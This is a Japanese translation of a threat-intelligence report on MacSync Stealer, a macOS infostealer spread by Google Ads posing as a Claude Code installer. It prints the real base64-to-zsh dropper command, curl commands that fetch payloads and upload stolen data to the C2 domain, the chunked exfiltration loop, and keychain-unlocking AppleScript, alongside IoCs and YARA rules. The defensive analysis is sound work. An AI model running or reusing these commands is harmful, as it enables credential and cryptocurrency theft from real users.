MacSync Stealer:Google広告が「Claude Codeインストール」をMac完全侵害へと変えた手口

TL;DR

  • 本分析はCaronteが自律的に実施しました。当社のエージェント型CTIプラットフォームは、投稿されたドロッパーサンプルから完全な攻撃チェーンの再構築、ペイロードのデコード、app.asarフォレンジックまでを数分で完了し、手動によるリバースエンジニアリングは一切不要でした
  • Google Adsを悪用したマルバタイジングキャンペーンがAnthropicのClaude Code CLIを偽装しています。開発者向けの検索結果にスポンサー広告が表示され、偽のGoogle Sitesインストールページへ誘導します。このマルウェアは内部で自身をMacSync Stealer v1.1.2(ビルドタグ:claude1と識別しており、コンパイル時に使用した囮の名称を明示しています
  • 3段階構成のzshドロッパーがosascriptペイロードを配信し、偽のシステム環境設定ダイアログでMacのログインパスワードを窃取します。その後、マシン上のあらゆる認証情報を収集します。対象は、すべてのブラウザプロファイル、80種以上のウォレット拡張機能、20種以上のデスクトップウォレット、macOSキーチェーン(窃取したパスワードで復号可能)、iCloudキーチェーン、SSHキー、AWSクレデンシャル、kubectlの設定ファイルです
  • 第2段階のapp.asar置き換えにより、Ledger LiveおよびLedger Walletがインストールされている場合はトロイの木馬化されます。ロシア語のВСТАВЬТЕ СЮДА(「ここに挿入」)マーカーが付いた1行のコードが注入され、起動から5秒後にアプリウィンドウ全体を偽のリカバリーフローにリダイレクトし、被害者にシードフレーズを入力させます

主要な調査結果の概要

カテゴリ 詳細
マルウェア MacSync Stealer v1.1.2 (x86_64 + ARM ユニバーサル)
ビルドタグ claude1(キャンペーン固有の識別子)
配信経路 Google Adsマルバタイジング → Google Sitesの囮ページ → ClickFix/InstallFixによるターミナルコマンド実行
C2 oklahomawarehousing.com
ドロッパーハッシュ bd348a40261aa2d95566ccdc4e6f304ff25aa97d34e5c713c77c937583ad04f0
クレデンシャル収集対象 14種以上のChromiumブラウザ・Firefox/Geckoファミリー・80種以上のウォレット拡張機能・20種以上のデスクトップウォレット・macOSキーチェーン・SSH/AWS/kubectl
ウォレットへのトロイの木馬 Ledger Live v2.126.2・Ledger Wallet v2.133.0(Trezor Suite:収集時にC2が520エラーを返却)
トロイの木馬マーカー main.bundle.js内の// ←=== ВСТАВЬТЕ СЮДА ===→(キットベースの挿入ポイント)
トロイの木馬化されたASARのSHA256 Ledger Live: 1abf943e97356e07bde23663da544e7c106afc19827a2106361a52035737de43
関連キャンペーン Bitdefender、Trend Micro、Jamfが記録したMacSync/InstallFix大規模キャンペーン(2026年2月〜5月)

攻撃チェーンの概要

本調査は一般的な手口であるマルバタイジングから始まります。「claude code mac install」という検索クエリに対して、スポンサー広告が検索結果の最上位に表示されました。広告のタイトルは「Install Claude macOS / Claude for macOS」で、business.google.comから配信されていました。

この広告は、本物のAnthropicウェブサイトを模倣して作られたGoogle Sitesページ(sites.google.com/view/claud-version-0505)へ誘導します。そのページには、悪意あるコマンドをワンクリックでコピーできるボタンが設置されていました。

このページには、ターミナルコマンドを一度も実行したことのないユーザーを対象とした「ターミナルが初めての方へ」という手順ガイドも掲載されています。その中で最も悪質な仕掛けはステップ3です。インストールが完了するまでの偽のターミナルアニメーションが表示され、そこには「Write admin password: **** ✓」という一行が含まれています。

これは意図的な事前刷り込みです。被害者がコマンドを一度も実行していない段階で、このページは「管理者パスワードの入力はClaude Codeインストールにおける通常かつ想定内のステップである」と教え込みます。数秒後に偽のシステム環境設定ダイアログが同じパスワードを要求してきたとき、被害者はすでに従う心理的準備ができているのです。

囮のホストとしてGoogle Sitesが選ばれているのは偶然ではありません。Google SitesはすべてのページコンテンツをJavaScriptで描画します。JavaScriptを実行せずに単純なHTTPリクエストを送る自動スキャナー、URLレピュテーションフィード、企業のプロキシからは空のシェルしか見えず、クリーンと評価されます。実際のブラウザはJavaScriptを実行して悪意あるページ全体を読み込みます。さらにsites.google.comドメインはあらゆる許可リストに登録されており、大規模な副次被害なしにブロックすることは不可能です。つまり攻撃者は、自動検出には事実上見えない囮を手にしながら、人間の被害者には完全に機能するページを用意できるのです。焼き捨てるインフラも、シンクホールされるドメインも、フラグが立つ証明書も不要です。同じ手法が、同じ理由でGoogle Docs、Notion、Confluenceを悪用するClickFix系キャンペーンでも増加しています。

確認された囮URLはclaud-version-MMDDという命名パターンに従っています。0505はキャンペーンが観測・分析された5月5日に対応しています。本レポートはその翌日、5月6日に公開されます。日付を埋め込んだスラグは、手動ブロックリストへの追加を先回りするために、攻撃者がGoogle Adsの誘導先を定期的にローテーションしていることを示唆しています。

分析後、当社はスポンサー広告をGoogleに報告しました。24時間以内に、Google Trust & SafetyはGoogle Adsポリシー違反として広告が削除されたことを確認しました。

当社はドロッパーをCaronte(当社のエージェント型CTIプラットフォーム)に提出しました。その1件の提出から、Caronte は完全な分析パイプラインを自律的に実行し、多段階ドロッパーチェーンのデコード、osascriptペイロードの再構築、C2 APIサーフェスのマッピング、トロイの木馬化されたapp.asarアーティファクトの抽出を行いました。手動によるリバースエンジニアリングは一切不要でした。

以降の内容は、Caronteの出力をもとに構築した検証と調査です。

スポンサー広告は偽のインストールページに誘導し、ターミナルを開いてコマンドを貼り付けるよう指示します。被害者が自分のターミナルで貼り付けたコマンドを実行するよう誘導するこの手法はInstallFixと呼ばれており(より広義のClickFixソーシャルエンジニアリングパターンのmacOS版です)、開発者に対して特に効果的です。CLIツールをインストールするためにcurl | bashスタイルのコマンドを実行することは、日常的な行為だからです。ただし、コマンド内に難読化されたBase64文字列が含まれている点は、セキュリティ意識の高いユーザーにとって重大な警告サインです。

ページに表示されたコマンド:

echo 'ZWNobyAnVmVyaWZpY2F0aW9uIHBsZWFzZSB3YWl0Li4uJyAmJiBjdXJsIC1rZnNTTCBodHRwOi8vb2tsYWhvbWF3YXJlaG91c2luZy5jb20vY3VybC9iZDM0OGE0MDI2MWFhMmQ5NTU2NmNjZGM0ZTZmMzA0ZmYyNWFhOTdkMzRlNWM3MTNjNzdjOTM3NTgzYWQwNGYwfHpzaA=='|base64 -D|zsh

外側のBase64レイヤーをデコードすると以下になります:

echo 'Verification please wait...' && curl -kfsSL http://oklahomawarehousing.com/curl/bd348a40261aa2d95566ccdc4e6f304ff25aa97d34e5c713c77c937583ad04f0|zsh

正規のインストールプロセスを装うため、"Verification please wait..."がターミナルに表示される間、実際のペイロードがサイレントでダウンロードされます。-kフラグはTLS証明書の検証を無効化しており、C2スタック全体がHTTPの平文通信で動作しています。

ドロッパーチェーン:実行までの3段階

ステージ1はC2からbd348a40...f0.dailyをダウンロードします。.dailyという拡張子はこのファイルが毎日ローテーションされることを示唆していますが、収集時点では確認できていません。

ステージ2.dailyファイル)にはBase64+gzipでインライン化されたペイロードが含まれています:

#!/bin/zsh
d30358=$(base64 -D <<'PAYLOAD_m69993274016821' | gunzip
H4sIAAxV+mkAA91WW2/bNhR+9684VRXDasBIsiI7NzUNugAN...
PAYLOAD_m69993274016821
)
eval "$d30358"

変数名はビルドごとにランダム化されており(d30358)、ペイロード名にもランダムな数値サフィックスが含まれます(PAYLOAD_m69993274016821)。いずれも、単純な文字列マッチングによる検出を回避するための措置です。

ステージ3(デコードされたデーモン)は完全にサイレントで動作し(exec </dev/nullexec >/dev/nullexec 2>/dev/null)、2つの操作を実行します:

# 1. osascriptスティーラーの取得と実行
curl -k -s -H "api-key: $api_key" \
  "http://oklahomawarehousing.com/dynamic?txd=$token" | osascript
# 2. /tmp/osalogging.zipを10MBチャンクで流出
curl -k -s -X PUT --data-binary @- \
  -H "api-key: $api_key" \
  "http://oklahomawarehousing.com/gate?buildtxd=$token&upload_id=...&chunk_index=$i&total_chunks=$n"

流出ループは指数バックオフで最大8回リトライし、成功するとアーカイブを削除してサイレントで終了します。流出戦略とその弱点については次のセクションで詳述します。

MacSync Stealer:osascriptペイロード

/dynamicから取得されるペイロードは、AppleScriptで書かれた本格的なmacOSクレデンシャルハーベスターで、内部ではMacSync Stealer v1.1.2_release(x64_86 & ARM)と識別されています。最初のアクションはターミナルの強制終了です:

try
  do shell script "killall Terminal"
end try

これにより、被害者が確認する前に、貼り付けたコマンドがターミナルの表示履歴から削除されます。

パスワードトラップ

スティーラーが何かを収集する前に最優先で取得しようとするのが、ユーザーのMacログインパスワードです。macOSのセキュリティプロンプトを一切表示せずに、dscl . authonlyを使って候補パスワードをサイレントで検証します:

on checkvalid(username, password_entered)
  set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
  if result is not equal to "" then
    return false
  else
    return true
  end if
end checkvalid

アカウントにパスワードが設定されていない場合はプロンプトを表示せずに処理を続行します。パスワードが必要な場合は、偽のシステム環境設定ダイアログとパスワードフィールドを表示し、正しい認証情報が入力されるまでループします:

set result to display dialog "You should update the settings to launch the application." \
  default answer "" with icon imagePath \
  buttons {"Continue"} default button "Continue" \
  giving up after 150 with title "System Preferences" with hidden answer

このダイアログは本物のmacOSシステムアイコンLockedIcon.icnsを使用しており、正規のシステムプロンプトと見た目上の区別がつきません。

パスワードが検証されると、スティーラーはただちにそれを利用します:

do shell script "security unlock-keychain -p " & quoted form of password_entered & " ~/Library/Keychains/login.keychain-db"
do shell script "security set-generic-password-partition-list -s \"Chrome Safe Storage\" -a \"Chrome\" -S \"apple-tool:,apple:,teamid:EQHXZ8M8AV\" -k " & quoted form of password_entered
set masterpass to do shell script "security find-generic-password -wa \"Chrome\""

3つの処理が順に実行されます。ログインキーチェーンのアンロック、Chromeセーフストレージのパーティションリストの更新(無制限アクセスを許可)、そしてChromeセーフストレージマスターキーの抽出です。このマスターキー1つで、マシン上のすべてのChromiumベースブラウザに保存されたパスワードをすべて復号できます。

本物のmacOSダイアログが示すこと

偽ダイアログがパスワードを取得し、スティーラーがsecurity unlock-keychainを呼び出すと、macOSはsecurityプロセスによるChromeセーフストレージへのアクセス許可を求める本物のネイティブキーチェーンアクセス警告を表示します。これはシステムが正常に機能している証拠ですが、この警告が現れる時点では、偽ダイアログによる認証情報の窃取がすでに完了しています。

ダイアログには次のように表示されます。「securityはキーチェーン内の「Chrome Safe Storage」に保存された機密情報を使用しようとしています。許可するには、「ログイン」キーチェーンのパスワードを入力してください。」ボタンには「常に許可」「拒否」「許可」の選択肢があります。

これを見て「拒否」をクリックする被害者の行動は合理的ですが、実際には何の助けにもなりません。プロンプトを拒否することで特定のsecurity find-generic-password呼び出しはブロックされ、Chromeセーフストレージキーはその瞬間には直接抽出されません。しかしそれは関係ありません。スティーラーはすでに偽ダイアログでMacログインパスワードを取得しており、login.keychain-dbはすでにステージングディレクトリにコピーされています。そのキーチェーンにはChromeセーフストレージキーが含まれています。攻撃者は窃取したパスワードを使ってオフラインで復号し、同じキーを手に入れることができます。「拒否」は、別の経路でとっくに回避されていた扉を閉めるだけに過ぎないのです。

データ収集の全容

すべてのデータは/tmp/sync<random>/にまとめられ、dittoを使って/tmp/osalogging.zipとしてアーカイブされます:

カテゴリ 対象
Chromiumブラウザ Chrome、Brave、Edge、Arc、Opera、OperaGX、Vivaldi、Yandex、Chromium、Chrome Beta/Dev/Canary、CocCoc
Geckoブラウザ Firefox、Zen、LibreWolf、Waterfox
ブラウザデータ Cookie、ログインデータ、Webデータ、拡張機能のLocalStorage + IndexedDB
ブラウザウォレット拡張機能 80種以上の拡張機能ID:MetaMask、Phantom、Trust、Coinbase、OKX、Rabby、Bybit、Binance Walletなど約75種
デスクトップウォレット Exodus、Electrum、Atomic、Guarda、Coinomi、Sparrow、Wasabi、Bitcoin Core、Armory、Electron Cash、Monero、Litecoin Core、Dash、Dogecoin、BlueWallet、Zengo、Trust Wallet、Ledger LiveLedger WalletTrezor Suite
macOSキーチェーン ~/Library/Keychains/*.keychain-dbのすべて。login.keychain-db(窃取したパスワードで復号可能)とLocal Items.keychain-db(iCloudキーチェーンのローカルキャッシュ)を含む
クラウドクレデンシャル ~/.ssh/~/.aws/~/.kube/
メッセージング Telegram Desktopのtdata/セッション
ファイルグラバー デスクトップ・書類・ダウンロードフォルダから.pdf .docx .wallet .key .seed .kdbx .pem .ovpn(ソースフォルダごとに最大100MB)
その他のブラウザ SafariのCookieと履歴、Apple Notesデータベース(NoteStore.sqlite
シェルのアーティファクト .zshrc.zsh_history.bash_history.gitconfig
システム情報 lsappinfo listps axsystem_profilerによるハードウェア・ソフトウェア・ディスプレイの完全な出力

キーチェーンの窃取は特に注目すべき点です。~/Library/Keychains/*.keychain-dbというグロブパターンにより、login.keychain-dbLocal Items.keychain-dbの両方が取得されます。ログインキーチェーンはユーザーのMacログインパスワード(攻撃者はすでに入手済み)で暗号化されており、標準的なツールを使えばオフラインでの復号は容易です。Local Items.keychain-db(iCloudキーチェーン)はハードウェアにバインドされており、被害者のデバイスなしには完全な復号はできませんが、攻撃者はChromeセーフストレージキーを通じてブラウザに保存されたすべてのクレデンシャルをすでに取得しているため、クレデンシャル窃取の目的においてiCloudキーチェーンは実質的に不要です。

アーカイブ後、スティーラーはzip内に情報ファイルを書き込みます:

MacSync Stealer
Build Tag: claude1
Version: 1.1.2_release (x64_86 & ARM)
IP: 98.71.26.11
Username: <victim>
Password: <stolen mac password>

その後スティーラーは、「Claude Code」がインストールされなかった理由を説明するカバーストーリーとして、偽のエラーダイアログを表示します:

「お使いのMacはこのアプリケーションに対応していません。再インストールするか、お使いのシステム向けのバージョンをダウンロードしてください。」

ダイアログは実行ゲートである

この偽エラーダイアログは、被害者を安心させて疑惑を持たせないための単純なおとりに見えます。しかし構造的には、それ以上の意味を持っています。おそらく意図せずして、実行チェーンにおけるハードな同期ポイントになっているのです。

osascriptペイロードは線形かつブロッキングです。最後のdisplay dialog呼び出しにはgiving up afterのタイムアウト句がないため、osascriptプロセスはユーザーがクリックするまでその行で停止し、処理を進めることができません。ウォレットアプリのトロイの木馬化とクレデンシャルのアップロードはどちらもそのクリックより後の処理であり、ダイアログが表示されている間は実行されません。

ペイロードソースから確認された実際の実行順序:

[osascript]
  1. クレデンシャル収集(ブラウザ、キーチェーン、ウォレット、SSH、AWS、kubectl)
  2. アーカイブ作成:/tmp/osalogging.zip
  3. display dialog "Your Mac does not support this application..."  ← ここでブロック
  4. Ledger Wallet ASARの置き換え  ← クリック後に実行
  5. Ledger Live ASARの置き換え
  [osascript終了]
[daemon_function、zsh]
  6. /tmp/osalogging.zipのC2への分割アップロード
  7. rm /tmp/osalogging.zip

クリックする前に再起動した被害者、ターミナルを強制終了した被害者、ラップトップを閉じた被害者は、ステップ3でチェーンを断ち切ることができます。クレデンシャルアーカイブは/tmp内にローカルで存在しますが、アップロードされることはありません。ウォレットアプリには一切手が加えられません。再起動時に/tmpはクリアされます。

このダイアログの本来の目的はソーシャルエンジニアリングです。インストールに失敗したと信じさせ、疑惑を持たずに立ち去らせることです。しかしosascriptの同期的な性質がそれを偶発的な脱出口に変えてしまいました。攻撃者がダイアログを表示する前にアップロードをバックグラウンドで実行していれば(些細な変更で済みます)、この脱出口は存在しなかったでしょう。しかしそうしませんでした。皮肉なことに、ソーシャルエンジニアリングが攻撃者自身に不利に働いています。偽のエラーを信じて「もう一度試そう」と再起動した被害者は、被害を受けずに済んだのです。

コマンドを実行したが最後のダイアログで「ОК」をクリックしなかった場合:クレデンシャルはローカルにステージングされましたが送信されておらず、ウォレットアプリも変更されていません。収集中に窃取されたパスワードがローカルでキーチェーンのアンロックに使用されているため、パスワードのローテーションは依然として推奨されますが、データがマシンの外に出ることはありませんでした。

不完全な流出戦略

この流出処理には、被害者にとって有利に働く構造的な弱点が2つあります。

1つ目は前述の実行ゲートです。アップロード全体が開始されるのは、被害者が偽エラーダイアログの「ОК」をクリックした後だけです。再起動、強制終了、またはダイアログを無視するだけで、1バイトもマシンの外に出ることなくチェーンを断ち切ることができます。

2つ目はアップロードの設計です。Filegrabberルーティンは、デスクトップ・書類・ダウンロードフォルダからpdfdocxdocwalletkeydbtxtseedrtfkdbxpemovpnファイルをすべて取得します(ソースフォルダごとに最大100MB)。14種以上のChromiumインストール全体のブラウザプロファイル、ウォレット拡張機能データ、Telegram Desktopと組み合わせると、ステージングディレクトリは圧縮前に数百メガバイトに達することが容易です。最終的なzipファイルは大きくなり、通常は多数の10MBチャンクに分割されます。

復元されたdaemon_functionからのアップロードループ:

CHUNK_SIZE=$((10 * 1024 * 1024))   # チャンクあたり10 MB
MAX_RETRIES=8
upload_id=$(date +%s)-$(openssl rand -hex 8)
total_chunks=$(( (total_size + CHUNK_SIZE - 1) / CHUNK_SIZE ))
for (( i = 0; i < total_chunks; i++ )); do
    success=0
    for (( attempt = 1; attempt <= MAX_RETRIES; attempt++ )); do
        # zipからチャンクiを切り出してC2に直接ストリーミング
        http_code=$(
            dd if="$file" bs=1 skip=$(( i * CHUNK_SIZE )) count=$CHUNK_SIZE 2>/dev/null \
            | curl -k -s -X PUT --data-binary @- \
                -H "api-key: $api_key" \
                --max-time 180 \
                -o /dev/null -w "%{http_code}" \
                "http://$domain/gate?buildtxd=$token\
&upload_id=$upload_id&chunk_index=$i&total_chunks=$total_chunks"
        )
        if [[ $? -eq 0 && $http_code -ge 200 && $http_code -lt 300 ]]; then
            success=1
            break
        fi
        sleep $(( 3 + attempt * 2 ))   # バックオフ:5秒、7秒、9秒…
    done
    # リトライをすべて使い果たしたチャンクがあると、アップロード全体を中断
    (( success == 0 )) && return 1
done
rm -f "$file"   # 完全成功時のみ到達
return 0

すべてのチャンクが届かなければ、攻撃者は何も有用なデータを受け取れません。その理由は構造的なものです。ZIP形式は、すべてのファイル・そのオフセット・圧縮パラメータを一覧する中央ディレクトリ(マスターインデックス)をアーカイブの先頭ではなく末尾に格納します。被害者がアップロード中に再起動したり、企業ファイアウォールが最初の数チャンク後に接続を遮断したりすると、C2はアーカイブの先頭部分を受信しますが末尾を受信できません。中央ディレクトリがなければ、どのツールもファイルの位置を特定したり展開したりすることができません。届いたバイトは読み取り不能です。有効なアーカイブを再構築するには、攻撃者はすべてのチャンクを順序どおりに必要とします。

zipのローカル削除(rm -f /tmp/osalogging.zip)は、アップロードループがreturn 0を返したときのみ実行されます。アップロードが失敗した場合はディスク上に残りますが、/tmpは再起動時に消去されるため、いずれにせよ持続しません。

ウォレットトロイの木馬:精密なapp.asar置き換え

osascriptペイロードの内部で、偽エラーダイアログの直後に、スクリプトは/Applicationsに3つのハードウェアウォレットアプリが存在するかチェックし、見つかればElectronバンドルを置き換えます:

set LEDGERURL to "https://oklahomawarehousing.com/ledger/live/<token>"
-- トロイの木馬化されたapp.asar + Info.plist zipをダウンロード
-- /Applications/Ledger Live.app/Contents/Resources/app.asarを置き換え
-- 再署名:codesign -f -s - "/Applications/Ledger Live.app"

同じフローがLedger Wallet.appTrezor Suite.appにも実行されます。codesign -f -s -によるアドホック署名はGatekeeperが信頼するものではありませんが、すでにインストールされているアプリの「アプリケーションが壊れています」という警告を抑制するには十分です。

収集時点で2つのライブトロイペイロードが有効でした:

アプリ バージョン ASAR SHA256
Ledger Live 2.126.2 1abf943e97356e07bde23663da544e7c106afc19827a2106361a52035737de43
Ledger Wallet 2.133.0 f9594eb98fc46c3388f843daf540684175e5b84b87e7e5ccd77e1f1e9f1ac370(zip経由)
Trezor Suite N/A C2がerror code: 520を返却:収集時点でペイロードは未展開

Trezorのエンドポイントはosascript内に存在しており(/trezor/<token>)、攻撃者が展開を意図していたことは確認できますが、サンプル収集時にC2がCloudflare 520エラーを返していました。インフラは稼働中ですが、ペイロードはまだ利用可能ではありませんでした。

トロイの木馬の内部:ロシア語キットマーカーと持続的ハイジャック

ASAR置き換えは1回限りのペイロードではなく、持続的な感染です。トロイの木馬化されたapp.asar/Applications/Ledger Live.app/Contents/Resources/app.asarに書き込まれると、以降のLedger Live起動のたびに攻撃者のコードが実行されます。終了させるべき別プロセスも、削除すべきLaunchAgentも存在しません。トロイの木馬がLedger Live自体になっているのです。唯一の修復手段は、公式ソースからクリーンに再インストールすることです。

main.bundle.js内の攻撃対象コードは、メインのBrowserWindowが初期化された直後に挿入された1つのブロックで構成されており、「ここに挿入」を意味するロシア語のコメントでマークされています:

// ←=== ВСТАВЬТЕ СЮДА ===→
setTimeout(() => {
  e.loadURL("file://" + wL.default.join(__dirname, "recovery-step-1.html"));
}, 5000);

eはメインアプリケーションウィンドウです。開いてから5秒後(アプリが正常に読み込まれているように見せるのに十分な時間)、loadURLがウィンドウコンテンツ全体を、ASAR内にバンドルされた偽のリカバリーページに置き換えます。このタイマーは偶然ではありません。0ミリ秒のリダイレクトではフラッシュとして視認されてしまいます。5秒待つことでリアルなUIが描画され、ハイジャックが作動する前にアプリが正常に起動したと被害者を安心させることができます。

以降の起動ごとのフロー:

ユーザーがLedger Liveを開く
  → Electronがmain.bundle.jsを読み込む
  → メインウィンドウが開き、Ledger UIが正常に表示される(5秒間)
  → setTimeoutが発火:e.loadURL("file://.../recovery-step-1.html")
  → ウィンドウが攻撃者制御のリカバリーフローにリダイレクト
  → 被害者がシードフレーズを入力
  → ipcRendererがフレーズをoklahomawarehousing.comに送信

ロシア語のコメントはキットマーカーです。ВСТАВЬТЕ СЮДАのアノテーションは、オペレーターがC2固有のペイロードをパッチする箇所です。同じパターン、同じコメント、同じ挿入ポイントが、Ledger LiveとLedger Walletの両方のトロイの木馬にまったく同じ形で現れており、これらがオペレーターに配布された共通テンプレートから作られていることを示しています。Needleで見られたMaaS(Malware-as-a-Service)モデルと一致しています。

偽のリカバリーフロー

ASAR内にバンドルされた3つのリカバリーページは、正規のデバイス復元に見せかけた手順で被害者を誘導します:

ステップ1:ソーシャルエンジニアリングのフック:

「問題が発生しました……でもご安心ください!暗号資産は安全にアクセス可能です。ソフトウェアのアップデートやファームウェアのアップグレード中にエラーが発生した可能性があります。いくつかの簡単な手順で解決できます。」

ステップ2:PINとリカバリーフレーズの収集。このステップでは、Ledgerの正規UIアセットから直接引用した3枚の説明画像を使用しており、トロイの木馬内で信頼性を高めるために流用されています:

フィッシングフロー内でLedger自身のリカバリー図解を使用することで、視覚的な違和感をなくしています。被害者は、本物のLedger Liveアプリと思っている中で、本物のLedger Liveオンボーディングで見覚えのある画像を見ることになるのです。

ステップ3:完了とナビゲーション。

リカバリーページはハイジャックされたElectronウィンドウ内でfile:// URLを通じて配信される事前レンダリング済みのReactスナップショットです。メインアプリと同じElectronコンテキストで動作するため、ipcRendererに完全アクセスでき、main.bundle.jsにコールバックして入力されたシードフレーズを流出させることができます。初期ドロッパーと同じC2インフラ(oklahomawarehousing.com)を使用しています。

被害者のLedgerまたはWalletアプリは、5秒のマークを過ぎるまでまったく正常に見え、感じられます。その時点で、ウィンドウはすでに攻撃者のものになっています。

侵害の痕跡(IoC)

Dropper:
  SHA256:   bd348a40261aa2d95566ccdc4e6f304ff25aa97d34e5c713c77c937583ad04f0
  Filename: bd348a40261aa2d95566ccdc4e6f304ff25aa97d34e5c713c77c937583ad04f0.daily
  Type:     zsh script with inline base64+gzip payload
Network:
  C2:       oklahomawarehousing.com
  Paths:    /curl/<hash>  /dynamic?txd=<hash>  /gate?buildtxd=<hash>
            /ledger/<hash>  /ledger/live/<hash>  /trezor/<hash>
  API Key:  5190ef1733183a0dc63fb623357f56d6
  Token:    bd348a40261aa2d95566ccdc4e6f304ff25aa97d34e5c713c77c937583ad04f0
  Protocol: HTTP (no TLS)
Lure:
  Google Ads campaign ID: 23812622362
  Confirmed lure: sites.google.com/view/claud-version-0505
  Naming pattern:  claud-version-MMDD (date-based slug rotation suspected)
Trojanized ASARs:
  Ledger Live v2.126.2:   1abf943e97356e07bde23663da544e7c106afc19827a2106361a52035737de43
  Ledger Wallet v2.133.0: f9594eb98fc46c3388f843daf540684175e5b84b87e7e5ccd77e1f1e9f1ac370
Filesystem:
  /tmp/osalogging.zip         (exfiltration archive)
  /tmp/sync<random>/          (staging directory, self-deleted)
  ~/.zsh_history              (wiped by killall Terminal)
Build metadata (in exfil info file):
  Malware name: MacSync Stealer
  Build Tag:    claude1
  Version:      1.1.2_release (x64_86 & ARM)
rule MacSync_Stealer_Dropper_Daily {
    meta:
        description = "MacSync Stealer zsh dropper (.daily): base64+gzip payload with daemon exfil to /gate endpoint"
        author      = "Beelzebub Research"
        date        = "2026-05-06"
        reference   = "https://beelzebub.ai/blog/macsync-stealer-fake-claude-code-google-ads"
    strings:
        $s1 = "osalogging.zip" ascii
        $s2 = "daemon_function" ascii
        $s3 = "/gate?buildtxd=" ascii
        $s4 = "/dynamic?txd=" ascii
        $s5 = "PAYLOAD_m" ascii
        $s6 = "| gunzip" ascii
    condition:
        5 of them
}
rule MacSync_Stealer_Osascript_Payload {
    meta:
        description = "MacSync Stealer osascript credential harvester, build claude1, v1.1.2"
        author      = "Beelzebub Research"
        date        = "2026-05-06"
        reference   = "https://beelzebub.ai/blog/macsync-stealer-fake-claude-code-google-ads"
    strings:
        $b1 = "MacSync Stealer" ascii
        $b2 = "Build Tag: claude" ascii
        $b3 = "osalogging.zip" ascii
        $b4 = "dscl . authonly" ascii
        $b5 = "security unlock-keychain" ascii
        $b6 = "Chrome Safe Storage" ascii
        $b7 = "killall Terminal" ascii
        $b8 = "GrabFolder" ascii
        $b9 = "DesktopWallets" ascii
    condition:
        6 of them
}
rule MacSync_Stealer_AppAsar_Trojan {
    meta:
        description = "MacSync Stealer trojanized Electron app.asar: Ledger Live/Wallet with recovery-flow injection"
        author      = "Beelzebub Research"
        date        = "2026-05-06"
        reference   = "https://beelzebub.ai/blog/macsync-stealer-fake-claude-code-google-ads"
    strings:
        // ロシア語「INSERT HERE」挿入マーカー(UTF-8)
        $marker   = { E2 86 90 3D 3D 3D 20 D0 92 D0 A1 D0 A2 D0 90 D0 92 D0 AC D0 A2 D0 95 20 D0 A1 D0 AE D0 94 D0 90 20 3D 3D 3D E2 86 92 }
        $recovery = "recovery-step-1.html" ascii
        $loadurl  = "loadURL" ascii wide
    condition:
        $marker and $recovery and $loadurl
}

まとめ

囮ページの1つの細部が特に注目に値します。偽の「ターミナルが初めての方へ」ガイドのステップ3には、インストールが完了するターミナルアニメーションが表示されており、そのアニメーションには「Write admin password: **** ✓」という行が含まれています。攻撃者は意図的にこれを配置しました。被害者がコマンドを1つも実行していない時点で、このページは「管理者パスワードの入力はClaude Codeインストールにおける通常かつ成功裏に期待される手順である」と教え込んでいます。数秒後に偽のシステム環境設定ダイアログが表示されたとき、被害者は驚かない。示された手順に従っているだけなのです。

明確にターゲットにされているのはClaude Codeを検索する開発者たちです。ターミナルコマンドの実行に慣れており、マシンにクラウドクレデンシャルやSSHキーを持ち、多くの場合はハードウェアウォレットも所持している層です。

この攻撃には、それぞれ独立して機能するよう設計された2つの段階があります。osascriptの段階は数秒で完了し、被害者がハードウェアウォレットを持っているかどうかに関わらず、マシン上のすべてのデータを持ち去ります。app.asarの段階は、被害者が次にLedger LiveまたはLedger Walletを開いたとき(場合によっては数週間後)に発動し、第1段階が届かなかった唯一のもの、つまりコールドストレージを管理するシードフレーズを収集します。

ロシア語のВСТАВЬТЕ СЮДАマーカーは、これがキット、すなわちC2をパッチするオペレーターに配布されるテンプレートバンドルであることを証明しています。Ledger LiveとLedger Walletの両トロイの木馬に同じ挿入パターン、同じ3つのリカバリーページ、同じ偽の「問題が発生しました」というソーシャルエンジニアリングが現れているのは、単一のキャンペーンの産物ではありません。これは製品なのです。

偽の「お使いのMacはこのアプリケーションに対応していません」ダイアログは単なるソーシャルエンジニアリングではなく、意図せずして同期ポイントになっています。osascriptプロセスはユーザーがクリックするまでその行でブロックされます。つまり、ウォレットのトロイの木馬化とクレデンシャルのアップロードはどちらも、そのクリックがなければ実行されません。再起動や強制終了でクリックする前に終了した被害者は、第2・第3段階を完全に逃れられました。クレデンシャルアーカイブは/tmpにステージングされていましたが、送信されることなく再起動時に消去されました。

流出にもフォールバックがありません。平文HTTPによる単一の分割PUTループのみで、DNSを使った流出も、セカンダリチャネルもありません。大きなドキュメントフォルダを持つ開発者のマシンでは、zipが100MBを超えて多数のチャンクに分割されることは珍しくありません。再起動や接続切断が1つでも起きれば、C2は不完全なアーカイブしか受け取れません。ZIPの中央ディレクトリはファイルの末尾にあるため、1チャンクでも欠けると攻撃者は届いたデータから1つのファイルも読み取れません。部分的なリカバリーは不可能です。

Caronteが実現したこと

本調査は1つの不審なターミナルコマンドから始まりました。Caronteは3段階のドロッパーチェーンをデコードし、完全なosascriptペイロードを再構築し、ビルドタグとC2クレデンシャルを抽出しました。すべて自律的に実行されました。ロシア語のキットマーカー、ウォレットトロイのダウンロードURL、APIキーも、手動でのデコードステップを1つも踏まずに明らかになりました。

ほとんどの脅威インテリジェンスワークフローにおけるボトルネックは判断力ではありません。判断を下せる地点に到達するまでの時間です。Caronteはその時間を数時間から数分に圧縮します。アナリストは抽出作業ではなく、本質的な問いに時間を使えます。

攻撃者はすでにAIを活用して、手動の分析ワークフローが追いつけないスピードでマルウェアを作成・改良・展開しています。チームがまだ手動でペイロードをデコードしているなら、すでに後れを取っています。

Caronteの仕組みを詳しく見る

翻訳元: https://beelzebub.ai/blog/macsync-stealer-fake-claude-code-google-ads/

ソース: beelzebub.ai